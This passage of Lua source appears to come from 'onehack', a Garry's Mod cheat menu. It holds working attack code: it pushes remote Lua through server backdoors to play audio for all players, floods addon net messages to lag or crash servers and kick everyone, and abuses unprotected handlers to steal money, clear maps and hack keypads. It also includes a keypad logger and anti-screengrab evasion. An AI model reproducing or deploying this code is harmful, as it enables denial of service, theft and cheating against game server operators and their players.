1122 net.SendToServer()
1123 end)
1124
1125 onehack.AddFunction("Музыка - Петушиный вой", "sound", buttlistback, function()
1126 onehack.NetStart( onehack.selectedbackdoor )
1127 net.WriteString("BroadcastLua([[sound.PlayURL( \"http://d.zaix.ru/94TU.mp3\", \"mono\", function()end ); chat.AddText(Color(255,255,255),\"Сейчас иг ает: \",Color(100,255,100),\"Skibidi\")]])")
1128 net.WriteBit(1)
1129 net.SendToServer()
1130 end)
1131
1132 onehack.AddFunction("Музыка - нет админа", "sound", buttlistback, function()
1133 onehack.NetStart( onehack.selectedbackdoor )
1134 net.WriteString("BroadcastLua([[sound.PlayURL( \"http://d.zaix.ru/92xM.mp3\", \"mono\", function()end ); chat.AddText(Color(255,255,255),\"Сейчас иг ает: \",Color(100,255,100),\"Поиг аю я в CS\")]])")
1135 net.WriteBit(1)
1136 net.SendToServer()
1137 end)
1138
1139 onehack.AddFunction("Музыка - Па авозик - Look At Me", "sound", buttlistback, function()
1140 onehack.NetStart( onehack.selectedbackdoor )
1141 net.WriteString("BroadcastLua([[sound.PlayURL( \"http://d.zaix.ru/69Q8.mp3\", \"mono\", function()end ); chat.AddText(Color(255,255,255),\"Сейчас иг ает: \",Color(100,255,100),\"Па авозик\")]])")
1142 net.WriteBit(1)
1143 net.SendToServer()
1144 end)
1145
1146 onehack.AddFunction("Музыка - П ивет всем д узьям", "sound", buttlistback, function()
1147 onehack.NetStart( onehack.selectedbackdoor )
1148 net.WriteString("BroadcastLua([[sound.PlayURL( \"https://supronrp.fr/secret/03.mp3\", \"mono\", function()end ); chat.AddText(Color(255,255,255),\"Сейчас иг ает: \",Color(100,255,100),\"П ивет всем!\")]])")
1149 net.WriteBit(1)
1150 net.SendToServer()
1151 end)
1152 -- http://ru.drivemusic.cc/dl/XYbi6hfhrl28jZHmLCG9Qw/1545785442/download_music/2014/04/lindsey-stirling-feat.-lzzy-hale-shatter-me.mp3
1153 onehack.AddFunction("Музыка - Меня зовут НЛО.", "sound", buttlistback, function()
1154 onehack.NetStart( onehack.selectedbackdoor )
1155 net.WriteString("BroadcastLua([[sound.PlayURL( \"https://musicdeouff.000webhostapp.com/2016.mp3\", \"mono\", function()end ); chat.AddText(Color(255,255,255),\"Сейчас иг ает: \",Color(100,255,100),\"Я НЛО\")]])")
1156 net.WriteBit(1)
1157 net.SendToServer()
1158 end)
1159
1160 onehack.AddFunction("Музыка - ТОМАС.", "sound", buttlistback, function()
1161 onehack.NetStart( onehack.selectedbackdoor )
1162 net.WriteString("BroadcastLua([[sound.PlayURL( \"http://fl.bisyor.net/uploads/ru/2018/04/Alley-gang-paravozik-tomas_[www.Bisyor.net].mp3\", \"mono\", function()end ); chat.AddText(Color(255,255,255),\"Сейчас иг ает: \",Color(100,255,100),\"Томас\")]])")
1163 net.WriteBit(1)
1164 net.SendToServer()
1165 end)
1166 --
1167 onehack.AddFunction("Музыка - DSD512►Lindsey Stirling Shatter Me", "sound", buttlistback, function()
1168 onehack.NetStart( onehack.selectedbackdoor )
1169 net.WriteString("BroadcastLua([[sound.PlayURL( \"http://ru.drivemusic.cc/dl/XYbi6hfhrl28jZHmLCG9Qw/1545785442/download_music/2014/04/lindsey-stirling-feat.-lzzy-hale-shatter-me.mp3\", \"mono\", function()end ); chat.AddText(Color(255,255,255),\"Сейчас иг ает: \",Color(100,255,100),\"DSD512►Lindsey Stirling Shatter Me\")]])")
1170 net.WriteBit(1)
1171 net.SendToServer()
1172 end)
1173
1174 onehack.AddFunction("Музыка - Вишневая семё ка", "sound", buttlistback, function()
1175 onehack.NetStart( onehack.selectedbackdoor )
1176 net.WriteString("BroadcastLua([[sound.PlayURL( \"https://dropmp3.ru/uploads/files/2018-08/1535648946_oni-vishnevaya-semerka.mp3\", \"mono\", function()end ); chat.AddText(Color(255,255,255),\"Сейчас иг ает: \",Color(100,255,100),\"Вишневая семё ка\")]])")
1177 net.WriteBit(1)
1178 net.SendToServer()
1179 end)
1180 onehack.AddFunction("Музыка - ООООООООООО ", "sound", buttlistback, function()
1181 onehack.NetStart( onehack.selectedbackdoor )
1182 net.WriteString("BroadcastLua([[sound.PlayURL( \"http://d.zaix.ru/6377.mp3\", \"mono\", function()end ); chat.AddText(,Color(255,255,255),\"Сейчас иг ает: \",Color(100,255,100),\"-Уши\")]])")
1183 net.WriteBit(1)
1184 net.SendToServer()
1185 end)
1186 onehack.AddFunction("Музыка - Obeme", "sound", buttlistback, function()
1187 onehack.NetStart( onehack.selectedbackdoor )
1188 net.WriteString("BroadcastLua([[sound.PlayURL( \"http://d.zaix.ru/9Aed.mp3\", \"mono\", function()end ); chat.AddText(Color(255,255,255),\"Сейчас иг ает: \",Color(100,255,100),\"Обеме\")]])")
1189 net.WriteBit(1)
1190 net.SendToServer()
1191 end)
1192 --
1193 onehack.AddFunction("Музыка - Денза", "sound", buttlistback, function()
1194 onehack.NetStart( onehack.selectedbackdoor )
1195 net.WriteString("BroadcastLua([[sound.PlayURL( \"http://d.zaix.ru/94TW.mp3\", \"mono\", function()end ); chat.AddText(Color(255,255,255),\"Сейчас иг ает: \",Color(100,255,100),\"Денза\")]])")
1196 net.WriteBit(1)
1197 net.SendToServer()
1198 end)
1199 onehack.AddFunction("Музыка - Big baby tape", "sound", buttlistback, function()
1200 onehack.NetStart( onehack.selectedbackdoor )
1201 net.WriteString("BroadcastLua([[sound.PlayURL( \"https://zenmusic.org/get/music/20181121/zenmusicorg_Big_Baby_Tape_-_YA_VZYAL_TVOYU_BU_I_YA_EJO_EBU_60457129.mp3\", \"mono\", function()end ); chat.AddText(Color(255,255,255),\"Сейчас иг ает: \",Color(100,255,100),\"BABY TAPE\")]])")
1202 net.WriteBit(1)
1203 net.SendToServer()
1204 end)
1205
1206 if onehack.selectedpanel != nil then
1207 onehack.selectedpanel:Remove()
1208 end
1209 onehack.selectedpanel_id = 1
1210 onehack.selectedpanel = onehackdooropt
1211 end
1212
1213 function exploitmenuopt()
1214 exploitmenuopt = vgui.Create( "DPanel" , framesag )
1215 exploitmenuopt:SetPos( 126, 9 )
1216 exploitmenuopt:SetSize( framesag:GetWide()-120-13, framesag:GetTall()-16 )
1217 function exploitmenuopt:Paint( w, h )
1218 draw.RoundedBox( 0, 0, 0, w, h, onehack.theme.backgroundalt )
1219 end
1220
1221 onehack.exploitspanel = vgui.Create( "DPanel", exploitmenuopt )
1222 onehack.exploitspanel:SetPos(160,5)
1223 onehack.exploitspanel:SetSize(302,373)
1224 function onehack.exploitspanel:Paint( w,h )
1225 draw.RoundedBox(0,0,0,w,h,onehack.theme.backgroundalt2)
1226 draw.RoundedBox(0,1,1,w-2,h-2,onehack.theme.backgroundalt3)
1227 end
1228
1229 onehack.exploitsList = vgui.Create( "DScrollPanel", onehack.exploitspanel )
1230 onehack.exploitsList:Dock(FILL)
1231 function onehack.exploitsList:Paint( w,h )
1232 draw.RoundedBox(0,0,0,w,h,onehack.theme.backgroundalt2)
1233 draw.RoundedBox(0,1,1,w-2,h-2,onehack.theme.backgroundalt3)
1234 end
1235 onehack.exploitsList.VBar:SetWidth(1)
1236 onehack.exploitsList:GetVBar().Paint = function() draw.RoundedBox(0, 0, 0, onehack.exploitsList:GetVBar():GetWide(), onehack.exploitsList:GetVBar():GetTall(), Color(255, 255, 255, 0)) end
1237 onehack.exploitsList:GetVBar().btnUp.Paint = function() draw.RoundedBox(0, 0, 0, onehack.exploitsList:GetVBar().btnUp:GetWide(), onehack.exploitsList:GetVBar().btnUp:GetTall(), Color(0,0,0,0)) end
1238 onehack.exploitsList:GetVBar().btnDown.Paint = function() draw.RoundedBox(0, 0, 0, onehack.exploitsList:GetVBar().btnDown:GetWide(), onehack.exploitsList:GetVBar().btnDown:GetTall(), Color(0,0,0,0)) end
1239 onehack.exploitsList:GetVBar().btnGrip.Paint = function() draw.RoundedBox(0, 0, 0, onehack.exploitsList:GetVBar().btnGrip:GetWide(), onehack.exploitsList:GetVBar().btnGrip:GetTall(), onehack.theme.chroma) end
1240
1241 onehack.exploits_players_list = vgui.Create( "DScrollPanel", exploitmenuopt )
1242 onehack.exploits_players_list:SetPos(5,25)
1243 onehack.exploits_players_list:SetSize(150,298)
1244 function onehack.exploits_players_list:Paint( w,h )
1245 draw.RoundedBox(0,0,0,w,h,onehack.theme.backgroundalt2)
1246 draw.RoundedBox(0,1,1,w-2,h-2,onehack.theme.backgroundalt3)
1247 end
1248 onehack.exploits_players_list.VBar:SetWidth(1)
1249 onehack.exploits_players_list:GetVBar().Paint = function() draw.RoundedBox(0, 0, 0, onehack.exploits_players_list:GetVBar():GetWide(), onehack.exploits_players_list:GetVBar():GetTall(), Color(255, 255, 255, 0)) end
1250 onehack.exploits_players_list:GetVBar().btnUp.Paint = function() draw.RoundedBox(0, 0, 0, onehack.exploits_players_list:GetVBar().btnUp:GetWide(), onehack.exploits_players_list:GetVBar().btnUp:GetTall(), Color(0,0,0,0)) end
1251 onehack.exploits_players_list:GetVBar().btnDown.Paint = function() draw.RoundedBox(0, 0, 0, onehack.exploits_players_list:GetVBar().btnDown:GetWide(), onehack.exploits_players_list:GetVBar().btnDown:GetTall(), Color(0,0,0,0)) end
1252 onehack.exploits_players_list:GetVBar().btnGrip.Paint = function() draw.RoundedBox(0, 0, 0, onehack.exploits_players_list:GetVBar().btnGrip:GetWide(), onehack.exploits_players_list:GetVBar().btnGrip:GetTall(), onehack.theme.chroma) end
1253
1254 onehack.player_button_prev = vgui.Create( "DButton", exploitmenuopt )
1255 onehack.player_button_prev:SetText( "" )
1256 onehack.player_button_prev:SetPos(5,5)
1257 onehack.player_button_prev:SetSize(150,20)
1258 function onehack.player_button_prev:Paint( w,h )
1259 draw.RoundedBox(0,0,0,w,h,onehack.theme.backgroundalt2)
1260 draw.RoundedBox(0,1,1,w-2,h-2,onehack.theme.backgroundalt)
1261 draw.SimpleText("Player list","DermaDefault",w/2,h/2,Color(130,130,130),1,1)
1262 end
1263
1264 onehack.player_button_all = onehack.exploits_players_list:Add( "DButton" )
1265 onehack.player_button_all:SetText( "" )
1266 onehack.player_button_all:Dock( TOP )
1267 onehack.player_button_all:DockMargin( 0, 0, 0, 0 )
1268 function onehack.player_button_all:Paint( w,h )
1269 if onehack.player_button_all:IsHovered() then
1270 draw.RoundedBox(0,0,0,w,h,onehack.theme.backgroundalt2)
1271 draw.RoundedBox(0,1,0,w-2,h-1,onehack.theme.backgroundalt3)
1272 else
1273 draw.RoundedBox(0,0,0,w,h,onehack.theme.backgroundalt2)
1274 draw.RoundedBox(0,1,0,w-2,h-1,onehack.theme.backgroundalt)
1275 end
1276 if onehack.selected_player == 0 then
1277 draw.SimpleText("> All player's <","DermaDefault",w/2,h/2,onehack.theme.chroma,1,1)
1278 else
1279 draw.SimpleText("All player's","DermaDefault",w/2,h/2,Color(255,255,255),1,1)
1280 end
1281 end
1282 function onehack.player_button_all:DoClick()
1283 onehack.selected_player = 0
1284 end
1285
1286 for k,v in pairs(player.GetAll()) do
1287 local onehack_player_button = onehack.exploits_players_list:Add( "DButton" )
1288 onehack_player_button:SetText( "" )
1289 onehack_player_button:Dock( TOP )
1290 onehack_player_button:DockMargin( 0, 0, 0, 0 )
1291 onehack_player_button.Paint = function( _, w, h )
1292 if onehack_player_button:IsHovered() then
1293 draw.RoundedBox(0,0,0,w,h,onehack.theme.backgroundalt2)
1294 draw.RoundedBox(0,1,0,w-2,h-1,onehack.theme.backgroundalt3)
1295 else
1296 draw.RoundedBox(0,0,0,w,h,onehack.theme.backgroundalt2)
1297 draw.RoundedBox(0,1,0,w-2,h-1,onehack.theme.backgroundalt)
1298 end
1299 if onehack.selected_player == v then
1300 draw.SimpleText("> "..v:Name().." <","DermaDefault",w/2,h/2,onehack.theme.chroma,1,1)
1301 else
1302 draw.SimpleText(v:Name(),"DermaDefault",w/2,h/2,Color(255,255,255),1,1)
1303 end
1304 end
1305 function onehack_player_button:DoClick()
1306 onehack.selected_player = v
1307 end
1308 end
1309
1310 onehack.exploitstrip_weapontype = vgui.Create("DTextEntry", exploitmenuopt)
1311 onehack.exploitstrip_weapontype:SetPos( 5, 329 )
1312 onehack.exploitstrip_weapontype:SetSize( 150, 25 )
1313 onehack.exploitstrip_weapontype:SetText( "" )
1314 onehack.exploitstrip_weapontype.Paint = function( self, w, h )
1315 draw.RoundedBox(0,0,0,w,h,onehack.theme.backgroundalt2)
1316 draw.RoundedBox(0,1,1,w-2,h-2,onehack.theme.backgroundalt)
1317 self:DrawTextEntryText(onehack.theme.chroma,onehack.theme.chroma,onehack.theme.chroma)
1318 if onehack.exploitstrip_weapontype:GetValue() == "" then
1319 draw.SimpleText("Weapon class (* all)","DermaDefault",3,h/2,Color(255,255,255,5),0,1)
1320 end
1321 end
1322
1323 onehack.exploitstrip = vgui.Create( "DButton", exploitmenuopt )
1324 onehack.exploitstrip:SetPos( 5, 353 )
1325 onehack.exploitstrip:SetSize( 150, 25 )
1326 onehack.exploitstrip:SetText( "" )
1327 onehack.exploitstrip.Paint = function( _, w, h )
1328 if onehack.exploitstrip:IsHovered() then
1329 draw.RoundedBox(0,0,0,w,h,onehack.theme.backgroundalt2)
1330 draw.RoundedBox(0,1,1,w-2,h-2,onehack.theme.backgroundalt3)
1331 else
1332 draw.RoundedBox(0,0,0,w,h,onehack.theme.backgroundalt2)
1333 draw.RoundedBox(0,1,1,w-2,h-2,onehack.theme.backgroundalt)
1334 end
1335 draw.SimpleText("Strip Weapon","DermaDefault",w/2,h/2,Color(255,255,255),1,1)
1336 end
1337 function onehack.exploitstrip:DoClick()
1338 if onehack.selected_player ~= 0 then
1339 local weapons = onehack.selected_player:GetWeapons()
1340 if not onehack.exploitstrip_weapontype:GetValue() == "*" then
1341 local stringtotable = string.Explode( ", ", onehack.exploitstrip_weapontype:GetValue() )
1342 for _, g in pairs( weapons ) do
1343 for _, s in pairs( stringtotable ) do
1344 if string.find( string.lower( g:GetClass() ), s ) then
1345 onehack.StripWeapon( g )
1346 end
1347 end
1348 end
1349 else
1350 onehack.StripAllWeapons( weapons )
1351 end
1352 else
1353 for k,v in pairs(player.GetAll()) do
1354 local weapons = v:GetWeapons()
1355 if not onehack.exploitstrip_weapontype:GetValue() == "*" then
1356 local stringtotable = string.Explode( ", ", onehack.exploitstrip_weapontype:GetValue() )
1357 for _, g in pairs( weapons ) do
1358 for _, s in pairs( stringtotable ) do
1359 if string.find( string.lower( g:GetClass() ), s ) then
1360 onehack.StripWeapon( g )
1361 end
1362 end
1363 end
1364 else
1365 onehack.StripAllWeapons( weapons )
1366 end
1367 end
1368 end
1369
1370
1371 end
1372
1373 if table.HasValue( onehack.AllNets, "StackGhost" ) then
1374 onehack.AddExploit("Server Lagger", function()
1375 timer.Create( onehack.RandomString(10), 0.02, 0, function()
1376 for i = 1, 2000 do
1377 onehack.NetStart( str )
1378 onehack.NetWireInt(69,32)
1379 onehack.SendToServak()
1380 end
1381 end)
1382 end)
1383 end
1384 if table.HasValue( onehack.AllNets, "SyncPrinterButtons76561198056171650" ) then
1385 onehack.AddExploit("Steal money of printer", function()
1386 for _,v in pairs(ents.FindByClass("adv_moneyprinter")) do
1387 if v:IsValid() then
1388 onehack.NetStart( "SyncPrinterButtons76561198056171650" )
1389 net.WriteEntity(v)
1390 net.WriteUInt(2, 4)
1391 onehack.SendToServak()
1392 end
1393 end
1394 end)
1395 end
1396 if table.HasValue( onehack.AllNets, "DL_Answering" ) then
1397 onehack.AddExploit("Kick all", function()
1398 local function reportQuestionmark()
1399 for i = 1, 2000 do
1400 onehack.NetStart("DL_Answering")
1401 net.SendToServer()
1402 end
1403 end
1404 timer.Create(onehack.RandomString(10),0.1,50,reportQuestionmark)
1405 end)
1406 end
1407 if table.HasValue( onehack.AllNets, "pac_submit" ) then
1408 onehack.AddExploit("PAC Server Lagger", function()
1409 timer.Create( onehack.RandomString(10), 0.02, 0, function()
1410 for i=1, 1000 do
1411 onehack.NetStart("pac_submit")
1412 onehack.SendToServak()
1413 end end)
1414 end)
1415 end
1416 if table.HasValue( onehack.AllNets, "Client_To_Server_OpenEditor" ) then
1417 onehack.AddExploit("Open menu SCP-249", function()
1418 onehack.NetStart("Client_To_Server_OpenEditor")
1419 onehack.SendToServak()
1420 end)
1421 end
1422
1423 if table.HasValue( onehack.AllNets, "BuyKey" ) then
1424 onehack.AddExploit("Blue UnBox buy crate and key", function()
1425 onehack.NetStart("BuyKey")
1426 onehack.SendToServak()
1427 onehack.NetStart("BuyCrate")
1428 onehack.SendToServak()
1429 end)
1430 end
1431
1432 if table.HasValue( onehack.AllNets, "ChangeOrgName" ) then
1433 onehack.AddExploit("Change org name", function()
1434 onehack.NetStart("ChangeOrgName")
1435 onehack.NetWireString("OOOOOOOOMMMMMMMMMMMGOOOOOOOOOOOOOOOOOD!")
1436 onehack.NetWireString("MY DICK SOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO BIIIIIIIIIIIG!")
1437 net.WriteEntity(LocalPlayer())
1438 onehack.SendToServak()
1439 end)
1440 end
1441
1442 if table.HasValue( onehack.AllNets, "IS_SubmitSID_C2S" ) then
1443 onehack.AddExploit("Easy reward", function()
1444 onehack.NetStart("IS_SubmitSID_C2S")
1445 onehack.NetWireString("Killa")
1446 onehack.SendToServak()
1447 onehack.NetStart("IS_GetReward_C2S")
1448 onehack.SendToServak()
1449 end)
1450 end
1451
1452 if table.HasValue( onehack.AllNets, "IS_SubmitSID_C2S" ) then
1453 onehack.AddExploit("Easy reward", function()
1454 onehack.NetStart("IS_SubmitSID_C2S")
1455 onehack.NetWireString("Killa")
1456 onehack.SendToServak()
1457 onehack.NetStart("IS_GetReward_C2S")
1458 onehack.SendToServak()
1459 end)
1460 end
1461
1462 if table.HasValue( onehack.AllNets, "properties" ) then
1463 onehack.AddExploit("Clear map", function()
1464 for k,v in pairs(ents.GetAll()) do
1465 onehack.NetStart("properties")
1466 onehack.NetWireString( "remove" , 32 )
1467 net.WriteEntity( v )
1468 onehack.SendToServak()
1469 end
1470 end)
1471 end
1472
1473 if table.HasValue( onehack.AllNets, "start_wd_emp" ) then
1474 onehack.AddExploit("Hack all keypad's", function()
1475 onehack.NetStart('start_wd_emp')
1476 onehack.SendToServak()
1477 end)
1478 end
1479
1480 if table.HasValue( onehack.AllNets, "pac.net.TouchFlexes.ClientNotify" ) then
1481 onehack.AddExploit("PAC Server Crash", function()
1482 timer.Create(onehack.RandomString(10), 0, 0, function()
1483 for i = 1, 400 do
1484 onehack.NetStart("pac.net.TouchFlexes.ClientNotify")
1485 net.WriteInt( 9999999999999999999999999999999999999999999999999999999999999999999999, 13)
1486 onehack.SendToServak()
1487 end
1488 end)
1489 end)
1490 end
1491
1492 if table.HasValue( onehack.AllNets, "ItemStoreDrop" ) then
1493 onehack.AddExploit("ItemStore Lagger", function()
1494 timer.Create(onehack.RandomString(10), 0, 0, function()
1495 for i = 1, 1000 do
1496 onehack.NetStart("ItemStoreDrop")
1497 net.WriteUInt(9999999999999999999999999999999999999999999999999999999999, 32)
1498 net.WriteUInt(9999999999999999999999999999999999999999999999999999999999, 32)
1499 onehack.SendToServak()
1500 end
1501 end)
1502 end)
1503 end
1504
1505 if table.HasValue( onehack.AllNets, "TFA_Attachment_RequestAll" ) then
1506 onehack.AddExploit("TFA Lagger", function()
1507 timer.Create(onehack.RandomString(10), 0.02, 0, function()
1508 for i = 1, 4400 do
1509 onehack.NetStart("TFA_Attachment_RequestAll",true)
1510 onehack.SendToServak()
1511 end
1512 end)
1513 end)
1514 end
1515
1516 if table.HasValue( onehack.AllNets, "TFA_Attachment_RequestAll" ) then
1517 onehack.AddExploit("TFA Lagger", function()
1518 timer.Create(onehack.RandomString(10), 0.02, 0, function()
1519 for i = 1, 4400 do
1520 onehack.NetStart("TFA_Attachment_RequestAll",true)
1521 onehack.SendToServak()
1522 end
1523 end)
1524 end)
1525 end
1526
1527 if table.HasValue( onehack.AllNets, "ts_buytitle" ) then
1528 onehack.AddExploit("Car Dealer Lagger", function()
1529 timer.Create(onehack.RandomString(10), 0, 0, function()
1530 for i=1,1000 do
1531 onehack.NetStart("ts_buytitle",true)
1532 net.WriteTable({})
1533 net.WriteTable({})
1534 net.WriteTable({})
1535 onehack.SendToServak()
1536 end
1537 end )
1538 end)
1539 end
1540
1541 if table.HasValue( onehack.AllNets, "EnterpriseWithdraw" ) then
1542 onehack.AddExploit("Withdraw moneyr", function()
1543 onehack.NetStart("EnterpriseWithdraw")
1544 net.WriteInt(100, 32)
1545 onehack.SendToServak()
1546 end)
1547 end
1548
1549 ---------------------------------------------------------------------------------------
1550 if onehack.selectedpanel != nil then
1551 onehack.selectedpanel:Remove()
1552 end
1553 onehack.selectedpanel_id = 2
1554 onehack.selectedpanel = exploitmenuopt
1555 end
1556
1557 function optionsmenuopt()
1558 optionsmenuopt = vgui.Create( "DPanel" , framesag )
1559 optionsmenuopt:SetPos( 126, 9 )
1560 optionsmenuopt:SetSize( framesag:GetWide()-120-13, framesag:GetTall()-16 )
1561 function optionsmenuopt:Paint( w, h )
1562 draw.RoundedBox( 0, 0, 0, w, h, onehack.theme.backgroundalt )
1563 end
1564 local Theme = vgui.Create( "DColorMixer",optionsmenuopt);
1565 Theme:SetSize(227,227)
1566 Theme:SetPos(5,5)
1567 Theme:SetPalette( false )
1568 Theme:SetWangs( false )
1569 Theme:SetAlphaBar( false )
1570 Theme:SetColor(Color(onehack.theme.chroma.r,onehack.theme.chroma.g,onehack.theme.chroma.b))
1571 function Theme:ValueChanged( color)
1572 onehack.theme.chroma = Color(color.r,color.g,color.b)
1573 onehack.theme.chromaalt = Color(onehack.theme.chroma.r-55,onehack.theme.chroma.g-60,onehack.theme.chroma.b-30)
1574 end
1575
1576 local asg = vgui.Create("DCheckBox",optionsmenuopt)
1577 asg:SetPos(237,5)
1578 asg:SetValue(onehack.Vars['ASR'])
1579 asg:SetSize(130,17)
1580 function asg:Paint(w,h)
1581 onehack.DrawRect(0,0,h,h,onehack.theme.backgroundalt3)
1582 if asg:GetChecked() then
1583 onehack.DrawRect(4,4,h-8,h-8,onehack.theme.chroma)
1584 end
1585 onehack.DrawOutLinedRect(0,0,h,h,onehack.theme.backgroundalt2)
1586 draw.SimpleText("Anti-ScreenGrab","DermaDefault",24,h/2,Color(255,255,255),0,1)
1587 onehack.Vars['ASR'] = asg:GetChecked()
1588 end
1589
1590 local asf = vgui.Create("DCheckBox",optionsmenuopt)
1591 asf:SetPos(237,27)
1592 asf:SetValue(onehack.Vars['ASF'])
1593 asf:SetSize(130,17)
1594 function asf:Paint(w,h)
1595 onehack.DrawRect(0,0,h,h,onehack.theme.backgroundalt3)
1596 if asf:GetChecked() then
1597 onehack.DrawRect(4,4,h-8,h-8,onehack.theme.chroma)
1598 end
1599 onehack.DrawOutLinedRect(0,0,h,h,onehack.theme.backgroundalt2)
1600 draw.SimpleText("Anti-FileSteal","DermaDefault",24,h/2,Color(255,255,255),0,1)
1601 onehack.Vars['ASF'] = asf:GetChecked()
1602 end
1603
1604 local bhop = vgui.Create("DCheckBox",optionsmenuopt)
1605 bhop:SetPos(237,49)
1606 bhop:SetValue(onehack.Vars['BHOP'])
1607 bhop:SetSize(130,17)
1608 function bhop:Paint(w,h)
1609 onehack.DrawRect(0,0,h,h,onehack.theme.backgroundalt3)
1610 if bhop:GetChecked() then
1611 onehack.DrawRect(4,4,h-8,h-8,onehack.theme.chroma)
1612 end
1613 onehack.DrawOutLinedRect(0,0,h,h,onehack.theme.backgroundalt2)
1614 draw.SimpleText("Bhop","DermaDefault",24,h/2,Color(255,255,255),0,1)
1615 onehack.Vars['BHOP'] = bhop:GetChecked()
1616 end
1617
1618 local WaterMark = vgui.Create("DCheckBox",optionsmenuopt)
1619 WaterMark:SetPos(237,72)
1620 WaterMark:SetValue(onehack.Vars['WaterMark'])
1621 WaterMark:SetSize(130,17)
1622 function WaterMark:Paint(w,h)
1623 onehack.DrawRect(0,0,h,h,onehack.theme.backgroundalt3)
1624 if WaterMark:GetChecked() then
1625 onehack.DrawRect(4,4,h-8,h-8,onehack.theme.chroma)
1626 end
1627 onehack.DrawOutLinedRect(0,0,h,h,onehack.theme.backgroundalt2)
1628 draw.SimpleText("WaterMark","DermaDefault",24,h/2,Color(255,255,255),0,1)
1629 onehack.Vars['WaterMark'] = WaterMark:GetChecked()
1630 end
1631
1632 local FreeCamBind = optionsmenuopt:Add( "DButton" )
1633 FreeCamBind:SetTextColor( Color( 200, 200, 200 ) )
1634 FreeCamBind:SetText( "" )
1635 FreeCamBind:SetPos(237,95)
1636 FreeCamBind:SetSize(225,23)
1637 function FreeCamBind:Paint( w,h )
1638 if FreeCamBind:IsHovered() then
1639 draw.RoundedBox(0,0,0,w,h,onehack.theme.backgroundalt2)
1640 draw.RoundedBox(0,1,1,w-2,h-2,onehack.theme.backgroundalt3)
1641 else
1642 draw.RoundedBox(0,0,0,w,h,onehack.theme.backgroundalt2)
1643 draw.RoundedBox(0,1,1,w-2,h-2,onehack.theme.backgroundalt)
1644 end
1645 draw.SimpleText("Spectator Mode","DermaDefault",w/2,h/2,Color(255,255,255),1,1)
1646 end
1647
1648 FreeCamBind.DoClick = function()
1649 onehack.SpectateMode()
1650 end
1651
1652 local netname = vgui.Create( "DComboBox", optionsmenuopt )
1653 netname:SetPos( 237, 124 )
1654 netname:SetSize( 225, 23 )
1655 netname:SetValue( "Select Network String" )
1656 for _,v in pairs(onehack.foundednets) do
1657 netname:AddChoice( v )
1658 end
1659 netname.OnSelect = function( self, index, value )
1660 onehack.selectedbackdoor = value
1661 end
1662 netname.Paint = function( _, w, h )
1663 draw.RoundedBox(0,0,0,w,h,onehack.theme.backgroundalt2)
1664 draw.RoundedBox(0,1,1,w-2,h-2,onehack.theme.backgroundalt)
1665 end
1666
1667 local weapnoslist = vgui.Create("DCheckBox",optionsmenuopt)
1668 weapnoslist:SetPos(237,172)
1669 weapnoslist:SetValue(onehack.Vars['WEAPON_LIST3D'])
1670 weapnoslist:SetSize(130,17)
1671 function weapnoslist:Paint(w,h)
1672 onehack.DrawRect(0,0,h,h,onehack.theme.backgroundalt3)
1673 if weapnoslist:GetChecked() then
1674 onehack.DrawRect(4,4,h-8,h-8,onehack.theme.chroma)
1675 end
1676 onehack.DrawOutLinedRect(0,0,h,h,onehack.theme.backgroundalt2)
1677 draw.SimpleText("Weapon list","DermaDefault",24,h/2,Color(255,255,255),0,1)
1678 onehack.Vars['WEAPON_LIST3D'] = weapnoslist:GetChecked()
1679 end
1680
1681 local keypadjef = vgui.Create("DCheckBox",optionsmenuopt)
1682 keypadjef:SetPos(237,192)
1683 keypadjef:SetValue(onehack.Vars['keypad_jiw'])
1684 keypadjef:SetSize(130,17)
1685 function keypadjef:Paint(w,h)
1686 onehack.DrawRect(0,0,h,h,onehack.theme.backgroundalt3)
1687 if keypadjef:GetChecked() then
1688 onehack.DrawRect(4,4,h-8,h-8,onehack.theme.chroma)
1689 end
1690 onehack.DrawOutLinedRect(0,0,h,h,onehack.theme.backgroundalt2)
1691 draw.SimpleText("Keypad logger","DermaDefault",24,h/2,Color(255,255,255),0,1)
1692 onehack.Vars['keypad_jiw'] = keypadjef:GetChecked()
1693 end
1694
1695 ------------------------------------------------------ onehack.Vars['ASR'] 1
1696 if onehack.selectedpanel != nil then
1697 onehack.selectedpanel:Remove()
1698 end
1699 onehack.selectedpanel_id = 3
1700 onehack.selectedpanel = optionsmenuopt
1701 end
1702
1703 function logsmenuopt()
1704 logsmenuopt = vgui.Create( "DPanel" , framesag )
1705 logsmenuopt:SetPos( 126, 9 )
1706 logsmenuopt:SetSize( framesag:GetWide()-120-13, framesag:GetTall()-16 )
1707 function logsmenuopt:Paint( w, h )
1708 draw.RoundedBox( 0, 0, 0, w, h, onehack.theme.backgroundalt )
1709
1710 local red = 255 - (onehack.memory["logic"]*2.55)
1711 local green = onehack.memory["logic"] * 2.55
1712 local atadd = 52
1713 draw.RoundedBox(0,5,364,200+atadd,13,onehack.theme.backgroundalt2)
1714 draw.RoundedBox(0,6,365,(200-2)+atadd,13-2,onehack.theme.backgroundalt)
1715
1716 draw.RoundedBox(0,6, 365, math.Clamp( (onehack.memory["logic"]) * 0.75, 0, 200+atadd)-2, 13-2,Color(green,red, 0, 255) )
1717 draw.SimpleText("Core memory usage: "..onehack.memory["logic"].."kb","DermaDefault",(90-6)+atadd,363+(13/2),Color(255,255,255,100),1,1)
1718
1719 local red2 = 255 - (onehack.memory["hud"]*2.55)
1720 local green2 = onehack.memory["hud"] * 2.55
1721 local atstop = 257
1722 draw.RoundedBox(0,5+atstop,364,200,13,onehack.theme.backgroundalt2)
1723 draw.RoundedBox(0,6+atstop,365,200-2,13-2,onehack.theme.backgroundalt)
1724 local hudmemstext
1725 if onehack.memory["hud"] < 0 then
1726 hudmemstext = 0
1727 else
1728 hudmemstext = onehack.memory["hud"]
1729 end
1730
1731 draw.RoundedBox(0,6+atstop, 365, math.Clamp( (onehack.memory["hud"]) * 0.75, 0, 200)-2, 13-2,Color(green2,red2, 0, 255) )
1732 draw.SimpleText("Visuals memory usage: "..hudmemstext.."kb","DermaDefault",(110-6)+atstop,363+(13/2),Color(255,255,255,100),1,1)
1733 end
1734 logsmenuoptrichtext = vgui.Create( "RichText", logsmenuopt )
1735 logsmenuoptrichtext:SetPos(5, 5)
1736 logsmenuoptrichtext:SetSize( 457,353 ) --373
1737 logsmenuoptrichtext.Paint = function( _, w, h )
1738 draw.RoundedBox(0,0,0,w,h,onehack.theme.backgroundalt2)
1739 draw.RoundedBox(0,1,1,w-2,h-2,onehack.theme.backgroundalt)
1740 end
1741 for idx, tab in pairs(onehack.debug) do
1742 logsmenuoptrichtext:InsertColorChange( tab[2].r, tab[2].g, tab[2].b, 255 )
